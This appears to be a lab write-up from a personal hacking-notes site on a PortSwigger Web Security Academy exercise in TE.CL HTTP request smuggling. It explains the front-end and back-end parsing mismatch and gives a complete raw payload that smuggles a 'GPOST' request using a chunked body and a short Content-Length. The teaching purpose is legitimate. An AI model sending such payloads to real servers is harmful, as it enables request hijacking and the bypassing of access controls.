> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/request-smuggling/basic-te-cl-request-smuggling.md).

# TE.CL HTTP Request Smuggling Vulnerability

TE.CL HTTP Request Smuggling Vulnerability notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### HTTP Request Smuggling, Basic TE.CL Vulnerability

In this scenario, the application uses a frontal server and an internal server. The **back-end server does not support chunked encoding**, while the **front-end server only accepts GET and POST** methods. This behavior difference allows us to exploit a vulnerability of type **TE.CL**, where the front server interprets the query according to the Transfer-Encoding header, while the internal server is based on Content-Length.

#### **Lab Objective**

Inject a query into the HTTP stream so that the next **request processed by the back-end server appears to use the `GPOST`** method, which validates the lab.

#### **Notes Importantes**

* Although the lab supports HTTP/2, the technique expected is based exclusively on mechanisms specific to **HTTP/1**. The protocol should therefore be manually modified in Burp Repeater if necessary.
* Length fields can be difficult to handle properly. The **HTTP Request Smuggler** extension available in the BApp Store facilitates this task.

#### **Example Payload Exploiting TE.CL**

In this attack, the front server interprets the message in chunked mode, while the back-end server calculates the end of the query via Content-Length, allowing to enter a second query:

```http
POST / HTTP/1.1
Host: 0acf00f80484e31881442f77004300cd.web-security-academy.net
Connection: keep-alive
Transfer-Encoding: chunked
Content-Type: application/x-www-form-urlencoded
Content-Length: 4

72
GPOST / HTTP/1.1
Host: 0acf00f80484e31881442f77004300cd.web-security-academy.net
Content-Length: 20

test=test
0


```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8c3b2a69454110407b18b1474500d03f771acf9f%2F%7B932C65B6-9E74-474F-AAE8-2D69B1E75730%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

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